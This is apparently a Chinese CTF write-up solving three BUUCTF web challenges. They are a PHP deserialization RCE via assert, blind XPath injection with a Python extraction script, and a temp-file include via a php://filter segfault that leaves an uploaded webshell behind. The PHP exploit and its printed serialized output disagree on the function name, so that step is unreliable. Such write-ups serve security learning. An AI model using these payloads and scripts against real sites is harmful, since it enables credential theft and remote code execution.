还有一个node和cbc字节翻转我这个菜鸡水平看不懂。。。。以后补上
ReadlezPHP
打开靶机源码处发现页面
打开页面得到源码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
两个对象创建和销毁时的魔术方法,将传入的data反序列化
解题
由__destruct
方法可知,会输出$b($a)
,所以我们构造函数读取即可,用断言assert,assert(phpinfo())
就是输出phpinfo()了
<?php
class HelloPhp
{
public $a = "phpinfo()";
public $b = "assert";
}
$c = new HelloPhp;
echo serialize($c);
//O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
data传入即可
flag就在这里面
ezlogin
首页是一个登录框,session存在期限
抓包重放,同样重放后session失效,应当是设置了csrf-token
考点:xpath注入
参考原文地址:Tr0y's Blog
总结一下:
xpath 是一门在 XML 文档中查找信息的语言。xpath注入主要分为常规注入和布尔盲注
查询语句如:
/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']
常规注入如下:
构造万能密码传入如admin' or '1
:(已知admin用户)
/root/users/user[username/text()='admin' or '1' and password/text()='".$pwd."']
或者' or 1 or '1
/root/users/user[username/text()='' or 1 or '1' and password/text()='".$pwd."']
或节点遍历admin'] | //* | //*['
/root/users/user[username/text()='admin'] | //* | //*['' and password/text()='".$pwd."']
ps:xpath 没有注释一说,所以 payload 要自行构造闭合原语句。
布尔盲注payload用法主要如下:
payload | 含义 |
---|---|
' or count(/)=1->n or '1 | 判断根节点数量(n即是根节点的数目) |
' or string-length(name(/*[1->n]))=1->n or '1 | 获取第n个节点的名字长度n |
' or substring(name(/*[1->n]), 1, 1)='测试字符' or '1 | 逐位获取第n个节点名 |
解题
使用' or substring(name(/*[1]), 1, 1)='a' or '1
猜测根节点字符
当' or substring(name(/*[1]), 1, 1)='a' or '1
时
当' or substring(name(/*[1]), 1, 1)='r' or '1
时
非法操作,则说明根节点的第一个字符是'r'
编写脚本
import requests
import re
url ='http://e2f677a1-4672-4581-81d4-2e82706d0738.node3.buuoj.cn/login.php'
s = requests.session()
head ={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
"Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')#匹配页面token
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,20):
print('------------------')
for j in strs:
r = s.post(url=url)
token = find.findall(r.text)
#猜测根节点名称
payload = "<username>' or substring(name(/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
r = s.post(url=url,headers=head,data=payload)
if "非法操作" in r.text:
flag+=j
print(flag)
break
接下来依次跑根节点以下的子节点,直到跑到username和password,替换payload即可
#猜测子节点名称
payload_2 = "<username>' or substring(name(/root/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(),{}, 1)='{}' or '1</username><password>3123</password><token>{}</token>".format(i,j,token[0])
最后得到username=adm1n,password=cf7414b5bdb2e65ee43083f4ddbc4d9f,password解码md5得gtfly123
登录会闪过一句话,抓包截下来是一串base64ZmxhZyBpcyBpbiAvZmxhZwo=
解码得flag is in /flag
url是admin.php?file=welcome
,尝试php://filter读取,发现php和base被过滤,大小写绕过
得到flag
ezinclude
打开靶机只有username/password error
,源码处发现注释
随便传两个值抓包回放
考点1:哈希长度拓展攻击
哈希长度拓展攻击是利用了 md5、sha1 等加密算法的缺陷,可以在不知道原始密钥的情况下来进行计算出一个对应的 hash 值。
可以使用工具hashpump构造payload,用法如下
官方wp是说可以爆破secret的长度,但这题直接给出了Md5后的hash973225ae4fc8977f86d1a330b0774630
,也就是pass。。。。
那么直接传,发现有跳转flflflflag.php
打开页面告诉不是flag并存在包含
可以利用伪协议读取源码
再扫一下目录
config.php还是告诉flag不在这里,dir.php列出了根目录下的文件
考点2:临时文件包含( php 7 Segment Fault )
php代码中使用php://filter的过滤器strip_tags
, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除
参考文章:https://www.anquanke.com/post/id/201136#h2-11
构造上传表单
<html>
<form action="http://22a3b9e5-eb32-4c8e-b130-54e4a5beb8df.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="提交">
</form>
</body>
</html>
上传一句话文件
查看dir.php,我这试了两次
查看文件是否包含成功
包含文件连接shell查看即可,flag就在phpinfo里